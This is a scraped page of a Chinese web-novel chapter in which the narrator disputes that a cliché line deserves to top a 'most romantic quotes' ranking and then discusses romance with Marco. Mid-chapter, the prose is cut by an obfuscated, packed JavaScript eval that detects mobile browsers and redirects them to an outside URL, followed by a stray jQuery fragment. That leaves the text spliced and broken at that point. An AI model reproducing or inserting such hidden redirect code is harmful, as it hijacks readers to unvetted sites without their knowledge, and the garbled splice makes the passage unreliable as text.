24.12 积极（3） (第2/3页)

柚见十一提示您：看后求收藏（雾添花cdij.cn），接着再看更方便。

其中，无法窥知世界的全貌。很难说清到底是哪一只蝴蝶煽动翅膀，直接归因自己一定是夜郎自大。

再者，所谓“不流泪的以后”并不客观——没有人的人生可以一帆风顺，笑与泪都是生命里不可或缺的一环。客观因素并不因为主观认知而变化，非要视而不见，是偏执和自欺欺人。

最后，人由过去组成，割舍过去，否定过去，不也就等同于否定了这个人本身？试问一个人失去了本我，沦为别人的附庸。他或者她，还会有真正的“未来”吗？

每个人都有自己的想法，至少我不这样认为。

我认为这一整句话充斥着虚伪，枉顾客观事实，是非理性的宣泄，情绪化的产物。然而这种“情绪”本身——字里行间又不见丝毫的平等和尊重，只有高高在上的傲慢与偏见，以及自欺欺人的荒谬。

我想“浪漫”本质上不是非理性的偏执，而是一种理性的自由选择。

世界上天然存在着各种规则和束缚，但基于某种特定的理由，在衡量得失之后，明知不可为而为之，为此付出金钱、时间、精力……更有甚者，甚至付出了生命作为代价——这是一种“浪漫”。

它打破了理智的规则，超越了平凡和想象。

它不能是一种“弱智”，它要有起码的尊重。

——而“忘记那些过去”，绝对不满足也不符合以上任何一点定义。

我根本不理解为什么这句俗气的对白会打败所有的诗篇，荣登“浪漫语录”排行榜榜首。甚至不是一次，是两次

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240472|149401||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

！连续两年荣登榜首！

我不理解！它究竟哪里浪漫？到底是谁在投票？是用脚投出来的吗？

“……当然，这只是我个人愚见，我想知道恋人之间说这种话真的会觉得浪漫吗？”

作为旁观者，我绝对不能理解。我拽着他，要马尔科也谈谈自己的看法。

马尔科却只是看着我笑。

“那你觉得什么浪漫呢？”他问我。

“我得想想，”我暂停了这个话题。

“嗯，那你想，”不知道谁把空调关了，马尔科起身去开，调试着立柜的扇叶，也不再继续闲聊。

其实我不需要想——

尽管修兵一直否认，但我仍坚定不移地怀疑这场投票在弄虚作假！有暗箱操作！

已经两年了，这件事我仍在耿耿于怀。那一句我认为最浪漫的话也一直铭刻在脑海，不曾忘怀。只是与“忘记那些，现在跟我走，以后我都不会让你再掉眼泪”需要在对方脆弱的时候说出一样，我喜欢的那句也需要一点特定的环境，不能毫无铺垫、太过直白地表达。

马尔科调试好空调，又坐回了我身边。

“想好了吗？”他偏着头问我。